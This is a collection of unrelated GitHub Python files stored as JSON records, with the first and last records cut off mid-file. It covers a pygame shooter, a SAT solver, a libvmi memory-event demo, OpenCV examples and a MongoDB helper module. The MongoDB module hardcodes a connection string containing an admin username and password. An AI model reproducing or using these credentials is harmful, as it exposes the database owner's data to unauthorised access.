'OUTCAR.gz') ):\n #print 'Reading single calculation from directory: %s' % path\n calc=calculation()\n calc.load_from_outcar( os.path.join(path, 'OUTCAR') )\n cs.add_calculation( calc ) \n else:\n #print 'Reading calculations from directory: %s' % path \n cs = calculation_set.read_directory(path, calculation.saxis, True)\n else:\n pass\n\ncs.set_ionic('.')\ncs.groundstate = cs.calculations()[0]\n\nnewfile=True\nfor calc in cs.calculations():\n calc.save_to_arc(\"/dev/stdout\", species, newfile)\n newfile = False\n ","repo_name":"jcwojdel/FDToolbox","sub_path":"tools/visualisation/calctoarc.py","file_name":"calctoarc.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"44681609288","text":"import pandas as pd\nfrom findpeaks import findpeaks\nfrom typing import Optional\n\ndef get_highs_lows(\n series_list: list, \n window: Optional[int] = 50,\n minperc: Optional[int] = 5\n ) -> dict[str, pd.Series]:\n finder = findpeaks(method= \"caerus\", \n params_caerus= {\"window\" : window, \n \"minperc\" : minperc})\n results = finder.fit(series_list)[\"df\"]\n return {\n \"highs\" : results[results[\"peak\"] == True][\"y\"]\n .rename(index = lambda x: series_list.index[x]),\n \"lows\" : results[results[\"valley\"] == True][\"y\"]\n .rename(index = lambda x: series_list.index[x])\n }\n\n","repo_name":"benisbuzz/trendlines","sub_path":"trendlines.py","file_name":"trendlines.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20766925650","text":"# Final Game\n\nimport pygame\nimport random\n\n# Define some colors\nBLACK = (0, 0, 0) # (red ,green ,blue)\nWHITE = (255, 255, 255)\nGREEN = (0, 255, 0)\nRED = (255, 0, 0)\nBLUE = (0, 0, 255)\nGRAY = (120, 120, 120)\nYellOW = (255,255,0)\nCYAN = ( 0, 255, 255)\nMAGENTA = (255, 0 , 255)\n\npygame.init()\n\nenemy_sound = pygame.mixer.Sound(\"shooting_star.wav\")\nenemy_sound.set_volume(0.5)\nbackground_sound = pygame.mixer.Sound(\"Battle.ogg\")\nbackground_sound.play(-1)\n\n# Set the width and height of the screen [width, height]\nscreen_height = 500\nscreen_width = 700\nsize = (screen_width, screen_height)\npygame.display.set_caption(\"Care Beat scare\")\n\nscreen = pygame.display.set_mode(size)\n\n# Loop until the user clicks the close button.\ndone = False\n\n# Text resources\nmy_font = pygame.font.SysFont('Calibri', 30, True, False)\n\n# Image resources\nbackground_image = pygame.image.load(\"rainbowland.png\")\n\n# Vairables\n# Current score\nscore = 0\n\n# level\nlevel = 1\n\n# Lives\n\nlives = 5\n\n\n\n# Used to manage how fast the screen updates\nclock = pygame.time.Clock()\n\n# CLASSES\n\nclass Player(pygame.sprite.Sprite):\n def __init__(self):\n super().__init__()\n self.image = pygame.image.load(\"Cheerbear.png\")\n self.rect = self.image.get_rect()\n\nclass Enemy(pygame.sprite.Sprite):\n def __init__(self):\n super().__init__()\n self.image = pygame.image.load(\"spaceship.png\")\n self.rect = self.image.get_rect()\n self.rect.x = random.randrange(screen_width)\n self.rect.y = random.randrange(-screen_height, 0)\n self.change_y = 1\n def update(self):\n self.rect.y+= self.change_y\n\n\nclass Bullet(pygame.sprite.Sprite):\n def __init__(self):\n super().__init__()\n self.image = pygame.Surface([3, 8])\n self.image.fill(CYAN)\n self.rect = self.image.get_rect()\n self.speed_y = -12\n\n def update(self):\n\n self.rect.y+= self.speed_y\n if self.rect.bottom <0:\n self.kill()\n\n\nall_sprites_group = pygame.sprite.Group()\nplayer = Player()\nplayer.rect.bottom = screen_height\nall_sprites_group.add(player)\n\nenemy_group = pygame.sprite.Group()\nfor i in range(level * 10):\n enemy = Enemy()\n all_sprites_group.add(enemy)\n enemy_group.add(enemy)\n\nbullet_group = pygame.sprite.Group()\npygame.mouse.set_visable = False\n\ndef cut_screen():\n done = False\n while not done:\n # --- Main event loop\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\n if event.type == pygame.MOUSEBUTTONDOWN:\n done = True\n\n\n screen.fill(WHITE)\n\n\n # Render the score text\n my_text = my_font.render(\"Hi Welcome to Care Bear Scare!\", True, CYAN)\n screen.blit(my_text, [18, 50])\n\n\n\n # --- Go ahead and update the screen with what we've drawn.\n pygame.display.flip()\n\n # --- Limit to 60 frames per second\n clock.tick(60)\n\n\n\ncut_screen()\n\n\ndef end_screen():\n done = False\n while not done:\n # --- Main event loop\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\n if event.type == pygame.MOUSEBUTTONDOWN:\n done = True\n\n\n screen.fill(WHITE)\n\n\n # Render the score text\n my_text = my_font.render(\"GAME OVER THANKS FOR PLAYING!\", True, MAGENTA)\n screen.blit(my_text, [18, 50])\n\n\n\n # --- Go ahead and update the screen with what we've drawn.\n pygame.display.flip()\n\n # --- Limit to 60 frames per second\n clock.tick(60)\n\n\n\n\n\n# -------- Main Program Loop -----------\nwhile not done:\n # --- Main event loop\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\n if event.type == pygame.MOUSEBUTTONDOWN:\n bullet = Bullet()\n bullet.rect.centerx = event.pos[0]\n bullet.rect.centery = player.rect.centery\n bullet_group.add(bullet)\n all_sprites_group.add(bullet)\n\n # --- Game logic should go here\n all_sprites_group.update()\n pos = pygame.mouse.get_pos()\n player.rect.centerx = pos[0]\n\n '''hit_list = pygame.sprite.spritecollide(player, enemy_group, True)\n for hit in hit_list:\n lives -= 1\n if lives <= 0:\n done = True\n '''\n for enemy in enemy_group:\n if enemy.rect.top > screen_height:\n enemy.rect.y = random.randrange(-screen_height, 0)\n lives -= 1\n if lives <= 0:\n end_screen()\n done = True\n\n for bullet in bullet_group:\n hit_list = pygame.sprite.spritecollide(bullet, enemy_group, True)\n for hit in hit_list:\n enemy_sound.play()\n score += 1\n print(score)\n\n\n\n for hit in hit_list:\n bullet.kill()\n\n\n if len(enemy_group) == 0:\n level += 1\n for i in range( 2 * level):\n enemy = Enemy()\n enemy.change_y += level / 2\n enemy.rect.x = random.randrange(screen_width)\n enemy.rect.y = random.randrange(-screen_height, 0)\n enemy_group.add(enemy)\n all_sprites_group.add(enemy)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n # --- Screen-clearing code goes here\n screen.fill(WHITE)\n screen.blit(background_image, [-75, -30])\n\n # Render the score text\n my_text = my_font.render(\"Score: \" + str(score), True, BLUE)\n screen.blit(my_text, [50, 50])\n my_text = my_font.render(\"Level: \" + str(level), True, BLUE)\n screen.blit(my_text, [50, 70 ])\n my_text = my_font.render(\"Lives: \" + str(lives), True, BLUE)\n screen.blit(my_text, [50, 90])\n\n # --- Drawing code should go below here!!\n all_sprites_group.draw(screen)\n\n # --- Go ahead and update the screen with what we've drawn.\n pygame.display.flip()\n\n # --- Limit to 60 frames per second\n clock.tick(60)\n\n# Close the window and quit.\npygame.quit()\n","repo_name":"fwparkercode/IntroGames","sub_path":"Fa18_student_games/Aziza Care Bear Attack/Final_Game.py","file_name":"Final_Game.py","file_ext":"py","file_size_in_byte":5948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18708115319","text":"#!/usr/bin/env python3\n\n\"\"\"Memory Access example.\n\nUsage:\n memaccess-event.py [options] \n\nOptions:\n -h --help Show this screen.\n -k SOCKET --kvmi-socket SOCKET If hypervisor is KVM, specify the KVMi socket\n\"\"\"\n\nimport sys\nimport signal\nimport logging\n\nfrom docopt import docopt\nfrom libvmi import Libvmi, INIT_DOMAINNAME, INIT_EVENTS, VMIInitData, X86Reg\nfrom libvmi.event import MemEvent, MemAccess\nfrom utils import pause\n\n# catch SIGINT\n# we cannot rely on KeyboardInterrupt when we are in\n# the vmi.listen() call\ninterrupted = False\n\n\ndef signal_handler(signal, frame):\n global interrupted\n interrupted = True\n\n\ndef main(args):\n logging.basicConfig(level=logging.INFO)\n vm_name = args['']\n\n # register SIGINT\n signal.signal(signal.SIGINT, signal_handler)\n\n kvm_socket = {VMIInitData.KVMI_SOCKET: args['--kvmi-socket']} if args['--kvmi-socket'] else None\n with Libvmi(vm_name, INIT_DOMAINNAME | INIT_EVENTS, init_data=kvm_socket, partial=True) as vmi:\n # init paging to translate virtual addresses\n vmi.init_paging(0)\n with pause(vmi):\n # get current RIP on VCPU 0\n rip = vmi.get_vcpureg(X86Reg.RIP.value, 0)\n # get DTB\n cr3 = vmi.get_vcpureg(X86Reg.CR3.value, 0)\n dtb = cr3 & ~0xfff\n # get gpa\n paddr = vmi.pagetable_lookup(dtb, rip)\n gfn = paddr >> 12\n\n # define callback\n def cb_mem_event(vmi, event):\n logging.info(\"Mem event at RIP: %s, frame: %s, offset: %s, permissions: %s\",\n hex(event.x86_regs.rip), hex(event.gla), hex(event.offset), event.out_access.name)\n\n mem_event = MemEvent(MemAccess.X, cb_mem_event, gfn=gfn)\n vmi.register_event(mem_event)\n # listen\n while not interrupted:\n vmi.listen(3000)\n logging.info(\"stop listening\")\n\n\nif __name__ == '__main__':\n args = docopt(__doc__)\n ret = main(args)\n sys.exit(ret)\n","repo_name":"libvmi/python","sub_path":"examples/demo_mem_event.py","file_name":"demo_mem_event.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"72"} +{"seq_id":"7205441285","text":"from pymongo import MongoClient\nimport motor.motor_asyncio\nfrom pydantic import BaseModel\n\n\nclass MongoSession:\n def __init__(self, collection=None, database_name=\"supply-hero\"):\n DATABASE_URL = \"mongodb+srv://admin_user:8w5B1e3hz4UcGEs5@supply-hero.isdcn.mongodb.net/supply-hero?retryWrites=true&w=majority\"\n self.client = motor.motor_asyncio.AsyncIOMotorClient(\n DATABASE_URL, uuidRepresentation=\"standard\"\n )\n self.db = self.client[database_name]\n self.collection = self.db[collection]\n\n def insert_json(self, document):\n return self.collection.insert_one(document)\n\n def find_json(self, document):\n return self.collection.find_one(document)\n\n def delete_json(self, document):\n return self.collection.delete_one(document)\n\n def logout_active_user(self, user):\n self.collection.update_one(\n {\"email\": user.email},\n {\"$set\": {\"is_active\": \"false\"}}\n )\n return {\"user_email\": user.email,\n \"logout_success\": \"true\"}\n\n\nclass MongoSessionRegular:\n def __init__(self, collection=None, database_name=\"supply-hero\"):\n DATABASE_URL = \"mongodb+srv://admin_user:8w5B1e3hz4UcGEs5@supply-hero.isdcn.mongodb.net/supply-hero?retryWrites=true&w=majority\"\n self.client = MongoClient(DATABASE_URL, uuidRepresentation=\"standard\")\n self.db = self.client[database_name]\n self.collection = self.db[collection]\n\n def insert_json(self, document):\n return self.collection.insert_one(document)\n\n def find_json(self, document, args=None):\n return self.collection.find_one(document, args)\n\n def delete_json(self, document):\n return self.collection.delete_one(document)\n\n def upsert_supply_list_metadata(self, user, supply_uuid, checklist_marker):\n update_result = self.collection.update_one(\n {\n \"$and\": [\n {\"email\": user.email},\n {\"school_supply_ids\": {\"$nin\": [supply_uuid]}},\n ]\n },\n {\"$push\": {\"school_supply_ids\": supply_uuid,\n \"school_supply_checklist\": checklist_marker}},\n upsert=False,\n )\n if update_result.modified_count > 0:\n return update_result\n else:\n return self.collection.update_one(\n {\"email\": user.email},\n {\n \"$setOnInsert\": {\n \"email\": user.email,\n \"school_supply_ids\": [supply_uuid],\n \"school_supply_checklist\": [checklist_marker]\n }\n },\n upsert=True,\n )\n\n def upsert_supply_list(self, supply_list_data):\n return self.collection.update_one(\n {\"id\": supply_list_data[\"id\"]},\n {\"$setOnInsert\": supply_list_data},\n upsert=True,\n )\n\n # If the id already exists, it doesn't do anything\n def add_supply_list_privilege(self, user_id, supply_uuid, privilege_type):\n if privilege_type == \"ADMIN\":\n return self.collection.update(\n {\"id\": supply_uuid},\n {\"$addToSet\": {\"admin_ids\": user_id}}\n )\n else: # \"READ_ONLY\"\n return self.collection.update(\n {\"id\": supply_uuid},\n {\"$addToSet\": {\"read_only_ids\": user_id}}\n )\n\n def remove_supply_list_metadata(self, email, supply_uuid):\n return self.collection.update_one(\n {\"email\": email},\n {\"$pull\": {\"school_supply_ids\": supply_uuid}},\n upsert=False,\n )\n\n def remove_supply_list(self, supply_uuid):\n return self.collection.delete_one({\"id\": supply_uuid})\n\n\n def logout_active_user(self, user):\n self.collection.update_one(\n {\"email\": user.email},\n {\"$set\": {\"is_active\": \"false\"}}\n )\n return {\"user_email\": user.email,\n \"logout_success\": \"true\"}\n\n def reactivate_user(self, user):\n self.collection.update_one(\n {\"email\": user.email},\n {\"$set\": {\"is_active\": \"true\"}}\n )\n return {\"user_email\": user.email,\n \"reactivate success\": \"true\"}\n\n def edit_supply_list_metadata(self, user, old_id, new_id):\n return self.collection.update_one(\n {\"email\": user.email, \"school_supply_ids\": old_id},\n {\"$set\": {\"school_supply_ids.$\": new_id}}\n )\n\n def edit_supply_list(self, old_id, new_id, list_of_supplies):\n return self.collection.update_one(\n {\"id\": old_id},\n {\"$set\": {\"id\": new_id, \"list_of_supplies\": list_of_supplies}}\n )\n\n class EmailTest(BaseModel):\n email: str\n\n def upsert_supply_list_metadata_email(self, email, supply_uuid):\n update_result = self.collection.update_one(\n {\n \"$and\": [\n {\"email\": email},\n {\"school_supply_ids\": {\"$nin\": [supply_uuid]}},\n ]\n },\n {\"$push\": {\"school_supply_ids\": supply_uuid}},\n upsert=False,\n )\n if update_result.modified_count > 0:\n return update_result\n else:\n return self.collection.update_one(\n {\"email\": email},\n {\n \"$setOnInsert\": {\n \"email\": email,\n \"school_supply_ids\": [supply_uuid],\n }\n },\n upsert=True,\n )","repo_name":"Saifullah9/ECSE-428-Group8","sub_path":"SupplyHero_FastApi/db/mongo.py","file_name":"mongo.py","file_ext":"py","file_size_in_byte":5606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18749600496","text":"import numpy as np\r\nimport cv2\r\n\r\n# 252x252, 3 channels, - zeros => full black background\r\nimg1 = np.zeros((252,252,3), np.uint8)\r\n# placing rectanlge (200(y) x 200(x)), -1 -> fill with color\r\nimg1 = cv2.rectangle(img1, (200,200), (50,50), (255,255,255), -1)\r\nimg2 = cv2.imread(\"images/BlackWhite.jpg\")\r\n\r\n# White represents logical 1, black logical 0\r\n\r\nbitwiseAnd = cv2.bitwise_and(img1, img2)\r\nbitwiseOr = cv2.bitwise_or(img1, img2)\r\nbitwiseXOr = cv2.bitwise_xor(img1, img2)\r\nbitwiseNotImg1 = cv2.bitwise_not(img1)\r\nbitwiseNotImg2 = cv2.bitwise_not(img2)\r\n\r\n\r\ncv2.imshow(\"img1\", img1)\r\ncv2.imshow(\"img2\", img2)\r\ncv2.imshow(\"Bitwise And\", bitwiseAnd)\r\ncv2.imshow(\"Bitwise Or\", bitwiseOr)\r\ncv2.imshow(\"Bitwise XOr\", bitwiseXOr)\r\ncv2.imshow(\"Img1 Bitwise Not\", bitwiseNotImg1)\r\ncv2.imshow(\"Img2 Bitwise Not\", bitwiseNotImg2)\r\n\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()","repo_name":"Smendowski/computer-vision","sub_path":"9. Bitwise Operators.py","file_name":"9. Bitwise Operators.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29262795780","text":"'''\n Números Inteiros e Criptografia RSA - Capítulo 8.\n Exercício 22 - Números totientes.\n'''\nfrom sympy import prevprime, primerange, primepi\n\nPRIMO_MAXIMO = prevprime(100000)\nPRIMOS = list(primerange(2, PRIMO_MAXIMO + 1))\n\ndef fatora(n):\n fatoracao = dict()\n for fator in PRIMOS[:primepi(n)]:\n if n % fator == 0:\n fatoracao[fator] = 0\n while n % fator == 0:\n fatoracao[fator] += 1\n n /= fator\n\n return fatoracao\n\ndef phi(n):\n fatoracao = fatora(n)\n\n phi_n = 1\n for p, k in fatoracao.items():\n phi_n *= p**(k - 1) * (p - 1)\n\n return phi_n\n\n\ndef existe_solucao_n_phi_n(k):\n if k != int(k): return False\n elif k == 1: return True\n\n fatoracao_k = fatora(k)\n fator_max = max(fatoracao_k.keys())\n\n k_ = k / (fator_max**(2 * fatoracao_k[fator_max] - 1) * (fator_max - 1))\n\n return existe_solucao_n_phi_n(k_)\n\ndef eh_totiente(k):\n return existe_solucao_n_phi_n(k)\n\ndef main():\n print('Obtendo todos k < 10^5 tais que existe solução para equação k = n x phi(n).')\n\n possiveis_ks = list(range(1, 100000))\n ks_validos = list(\n filter( \n lambda k: eh_totiente(k),\n possiveis_ks\n )\n )\n\n ks_validos_str = \", \".join(map(str, ks_validos))\n print('\\nApós cálculos, temos:')\n print(f'\\t{len(ks_validos)} valores que conferem a igualdade, esses são: {ks_validos_str}.')\n\nif __name__ == \"__main__\":\n main()","repo_name":"biogui/exercicios-criptografia-rsa","sub_path":"capitulo_08/exercicio_22/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"185334749","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport runner # noqa\n\nfrom test_prime import T as TBase\n\nfrom core.testcase import main\n\n# from unittest import skip\n\n\nclass T(TBase):\n @classmethod\n def prepare(cls):\n cls.settings.default_search_experiment_flags += [\"market_money_disable_bids=0\"]\n cls.settings.enable_panther_external = True\n cls.settings.default_search_experiment_flags += ['use_external_panther_docs=1']\n cls.settings.default_search_experiment_flags += ['market_new_cpm_iterator=0']\n\n super(T, cls).prepare()\n\n def test_external_panther_used(self):\n \"\"\"Проверяем что все обычные тесты в тесткейсе test_prime.py будут запущены с внешней пантерой\"\"\"\n\n response = self.report.request_json('place=prime&text=samsung&debug=da')\n self.assertFragmentIn(response, {'debug': {'experiments': {'use_external_panther_docs': '1'}}})\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"market/GENERAL/test_panther_external.py","file_name":"test_panther_external.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15741152829","text":"def run():\n my_dict = {}\n\n for i in range(1, 101):\n my_dict[i] = i**3\n\n print(my_dict)\n \n #no recuerdo para que era este codigo XD\n\nif __name__ == '__main__':\n run()","repo_name":"AnthonyRosadoSarante/EstudiosPython","sub_path":"practica1.py","file_name":"practica1.py","file_ext":"py","file_size_in_byte":190,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"2107560414","text":"import numpy as np\nimport sklearn.datasets\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestRegressor\nimport matplotlib.pylab as plt\n\n\n\nclass lrtest:\n\n\n def __init__(self):\n self.N = 1000\n self.K = 100\n self.n_targets = 1\n self.n_informative = 1\n\n\n\n def get_data(self):\n ''' make fake test data'''\n self.X,self.y = sklearn.datasets.make_regression(n_samples=self.N,\n n_features=self.K,\n n_informative=self.n_informative,\n n_targets=self.n_targets,\n bias=0.0,\n effective_rank=None,\n tail_strength=0.5, noise=0.0,\n shuffle=True, coef=False, random_state=None)\n\n\n def make_data_good_for_logreg(self):\n '''\n make the data integer and sum a set of columns\n (simulate useful and useless PADD 1 PORTS)\n ignoring others\n :return:\n '''\n minX = np.min(self.X)\n self.X = np.array(self.X-minX,dtype=int)*100\n self.y = np.sum(self.X[:,:5],axis=1,dtype=int)\n\n\n def fit_model(self):\n '''\n fit the model\n :return:\n '''\n self.model = RandomForestRegressor(n_estimators=10, random_state=42)#LogisticRegression(random_state=0)\n self.model.fit(self.X, self.y)\n self.predictions = self.model.predict(self.X)\n #self.model.predict_proba(self.X)\n #self.model.score(self.X, self.y)\n#\n\n def plot_model(self):\n '''\n plot model\n :return:\n '''\n plt.close()\n fig = plt.figure()\n ax1 = fig.add_subplot(111)\n ax1.plot(self.y,label='true')\n ax1.plot(self.predictions, label='modeled')\n plt.legend()\n\n\n\nif __name__ == '__main__':\n x = lrtest()\n x.get_data()\n x.make_data_good_for_logreg()\n x.fit_model()\n x.plot_model()\n plt.show()\n#\n #prob = x.model.predict_proba(x.X)\n\n #from sklearn.datasets import load_iris\n #from sklearn.linear_model import LogisticRegression\n #X, y = load_iris(return_X_y=True)\n #clf = LogisticRegression(random_state=0, solver='lbfgs',multi_class = 'multinomial').fit(X, y)\n #clf.predict(X[:2, :])\n #clf.predict_proba(X[:2, :])\n #clf.score(X, y)\n\n\n\n","repo_name":"drds1/projects","sub_path":"logistic_regression/logreg_quick/test_logreg.py","file_name":"test_logreg.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"3526080895","text":"\"\"\"\r\n删除源文件未做\r\n\"\"\"\r\n\r\nimport os, sys\r\nfrom basic import * \r\n\r\n\r\nfilename = \"test.mp4\" #要处理\r\n\r\ndef merge_file(): \r\n '将src路径下的所有文件块合并,并存储到des路径下。'\r\n files = sort_file()\r\n outputpath = DES + filename\r\n with open(outputpath, 'wb') as output: \r\n for file in files:\r\n file = SRC + file \r\n with open(file, 'rb') as infile: \r\n data = infile.read() \r\n output.write(data) \r\n delete_file() \r\n\r\n\r\ndef sort_file():\r\n files = os.listdir(SRC)\r\n for i in range(len(files)):\r\n files[i] = files[i].split('^')\r\n files[i][0] = int(files[i][0])\r\n files.sort()\r\n for i in range(len(files)):\r\n files[i][0] = str(files[i][0])\r\n files[i] = files[i][0] + '^' + files[i][1]\r\n return files\r\n\r\n\r\ndef delete_file():\r\n files = os.listdir(SRC)\r\n for file in files:\r\n file = SRC + file\r\n if os.path.exists(file):\r\n #删除文件,可使用以下两种方法。\r\n os.remove(file)\r\n #os.unlink(my_file)\r\n else:\r\n print(\"no such file: \"+ file)\r\n\r\n\r\nif __name__ == '__main__':\r\n merge_file()","repo_name":"chenhy97/peer2peer","sub_path":"cache/A/merge_file.py","file_name":"merge_file.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24477261480","text":"#!/usr/bin/env python3\nimport sys\nimport os\nimport argparse\nfrom concurrent.futures import ThreadPoolExecutor\nfrom subprocess import check_call\n\n\ndef _start_client():\n check_call([\"python3\", \"client.py\"])\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Client runner\")\n parser.add_argument(\"--count\", help=\"Number of clients\", default=1, type=int)\n\n args = parser.parse_args()\n count = args.count\n\n print(\"Starting %d client\" % count)\n\n try:\n with ThreadPoolExecutor(max_workers=count) as pool:\n for i in range(count):\n pool.submit(_start_client)\n except Exception as error:\n print(str(error))\n return 1\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"agavignet/sample-socketio","sub_path":"nclient.py","file_name":"nclient.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"40114540733","text":"from apscheduler.schedulers.blocking import BlockingScheduler\n\nfrom vaxxine import notify_vaccine\nsched = BlockingScheduler()\n\n\n@sched.scheduled_job('interval', seconds=5)\ndef timed_job():\n notify_vaccine()\n\n\n# @sched.scheduled_job('cron', day_of_week='mon-fri', hour=17)\n# def scheduled_job():\n# print('This job is run every weekday at 5pm.')\n\n\nsched.start()\n","repo_name":"AnusreeKoottungal/Vaxxine","sub_path":"clock.py","file_name":"clock.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29146689904","text":"import sys\nfrom typing import List, Set, Dict, Tuple\nimport datetime\n\n\nclass CNFConverter:\n def __init__(self):\n self.var_to_int_map = {}\n self.int_to_var_map = {}\n self.next_var_index = 1\n\n def literal_to_int(self, literal: str) -> int:\n is_negative = literal.startswith('-')\n base_literal = literal[1:] if is_negative else literal\n\n if base_literal not in self.var_to_int_map:\n self.var_to_int_map[base_literal] = self.next_var_index\n self.int_to_var_map[self.next_var_index] = base_literal\n self.next_var_index += 1\n\n return -self.var_to_int_map[base_literal] if is_negative else self.var_to_int_map[base_literal]\n\n def int_to_literal(self, integer: int) -> str:\n literal = self.int_to_var_map[abs(integer)]\n return ('-' + literal) if integer < 0 else literal\n\n\ndef print_model(assignment: Dict[int, bool], converter: CNFConverter):\n # print 1 if true, -1 if false 0 if not assigned\n model = {converter.int_to_literal(\n var): '1' if val else '-1' if val == False else '0' for var, val in assignment.items()}\n print(\"Model:\", model)\n\n\ndef read_cnf_file(file_path: str, converter: CNFConverter) -> List[Set[int]]:\n clauses = []\n with open(file_path, 'r', encoding='utf-16') as file:\n for line in file:\n trimmed_line = line.strip()\n if not trimmed_line or trimmed_line.startswith('#'):\n continue\n\n clause = {converter.literal_to_int(literal)\n for literal in trimmed_line.split()}\n clauses.append(clause)\n return clauses\n\n\ndef dpll(clauses: List[Set[int]], assignment: Dict[int, bool], converter: CNFConverter, visited_paths: Set[Tuple[int, ...]], use_uch: bool, total_calls: int) -> Tuple[bool, Dict[int, bool]]:\n total_calls += 1\n # Convert current assignment to a tuple for immutability and easy storage\n current_path = tuple(sorted(assignment.items()))\n\n # Check if the current path has been visited and failed\n if current_path in visited_paths:\n print(\"returns false because of visited paths\")\n return total_calls, False, {}\n all_satisfied = True\n # All satisfied check\n for clause in clauses:\n if (satisfies(clause, assignment) == False):\n all_satisfied = False\n if (satisfies(clause, assignment) == None):\n all_satisfied = False\n\n if (all_satisfied):\n print(\"returns true, all satisfied\")\n return total_calls, True, assignment\n\n # Any clause is false check\n for clause in clauses:\n if (satisfies(clause, assignment) == False):\n print(\"false assignment\")\n return total_calls, False, assignment\n\n print_model(assignment, converter)\n if use_uch:\n for clause in clauses:\n unassigned_vars = [\n var for var in clause if abs(var) not in assignment]\n if len(unassigned_vars) == 1:\n var = unassigned_vars[0]\n assignment[abs(var)] = var > 0\n print(\n f\"forcing {converter.int_to_literal(var)}={'1' if var > 0 else '-1'} by UCH\")\n total_calls, result, final_assignment = dpll(\n clauses, assignment, converter, visited_paths, use_uch, total_calls)\n if result:\n print(\"returns true within uch\")\n return total_calls, True, final_assignment\n del assignment[abs(var)] # backtrack\n\n unassigned_vars = get_unassigned_vars(clauses, assignment)\n if not unassigned_vars:\n print(\"returns at unassigned vars check\")\n return total_calls, False, {}\n\n var = unassigned_vars.pop()\n\n for value in [True, False]:\n print(\n f\"trying {converter.int_to_literal(var)}={'1' if value else '-1'}\")\n assignment[var] = value\n total_calls, result, final_assignment = dpll(\n clauses, assignment, converter, visited_paths, False, total_calls)\n if result:\n return total_calls, True, final_assignment\n\n # Update visited paths with the failed assignment\n visited_paths.add(tuple(sorted(assignment.items())))\n\n # If neither True nor False works, remove the variable from the assignment and backtrack\n del assignment[var]\n print(\"returns false at end\")\n return total_calls, False, {}\n\n\ndef satisfies(clause: Set[int], assignment: Dict[int, bool]) -> bool:\n unassigned_exists = False\n for var in clause:\n if var in assignment:\n if assignment[var]:\n # print(\"assignment\", assignment)\n # print(\"satisfied\", clause, var)\n # If any variable in the clause is true, the clause is satisfied\n return True\n elif -var in assignment:\n if not assignment[-var]:\n # If the negation of any variable in the clause is false, the clause is satisfied\n return True\n else:\n # If a variable is not in the assignment, we can't determine if the clause is satisfied or not\n # print(\"assignment\", assignment)\n # print(\"not assigned\", clause, var)\n unassigned_exists = True\n if (unassigned_exists):\n return None\n else:\n return False\n\n\ndef get_unassigned_vars(clauses: List[Set[int]], assignment: Dict[int, bool]) -> Set[int]:\n return {abs(var) for clause in clauses for var in clause if abs(var) not in assignment}\n\n\ndef main(cnf_file_path: str, facts: List[str], use_uch: bool):\n converter = CNFConverter()\n clauses = read_cnf_file(cnf_file_path, converter)\n\n assignments = {}\n for fact in facts:\n var = converter.literal_to_int(fact)\n assignments[abs(var)] = var > 0\n# Modify the main function or wherever the dpll is called to initialize visited_paths\n visited_paths = set()\n# result, final_assignment = dpll(clauses, initial_assignment, converter, visited_paths)\n total_calls = 0\n total_calls, result, final_assignment = dpll(\n clauses, assignments, converter, visited_paths, use_uch, total_calls)\n if result:\n print(\"solution:\")\n for var in sorted(final_assignment):\n print(\n f\"{converter.int_to_literal(var)}: {'1' if final_assignment[var] else '-1'}\")\n print(datetime.datetime.now().strftime(\"%m/%d/%Y %I:%M %p\"))\n print(\"just the Satisfied (true) propositions:\")\n print(\" \".join([converter.int_to_literal(var)\n for var in final_assignment if final_assignment[var]]))\n # If you're tracking the number of DPLL calls\n print(f\"total DPLL calls: {total_calls}\")\n print(f\"UCH={'True' if use_uch else 'False'}\")\n else:\n print(\"UNSATISFIABLE\")\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n print(\"Usage: python DPLL.py [facts...] [+uch]\")\n sys.exit(1)\n\n cnf_file_path = sys.argv[1]\n facts = [arg for arg in sys.argv[2:] if arg != \"+uch\"]\n use_uch = \"+UCH\" in sys.argv\n\n main(cnf_file_path, facts, use_uch)\n","repo_name":"tannergz123/CSCE_420_AI","sub_path":"programming_assignment_2/DPLL.py","file_name":"DPLL.py","file_ext":"py","file_size_in_byte":7112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8646611481","text":"from datetime import datetime, timedelta\n\ndef get_slot_dates(no_of_days = 1):\n\n if(no_of_days < 1):\n return\n\n dates = []\n\n for i in range(no_of_days):\n today = datetime.now() + timedelta(i)\n today_string = today.strftime(\"%d/%m/%Y\")\n\n dates.append(today_string)\n\n return 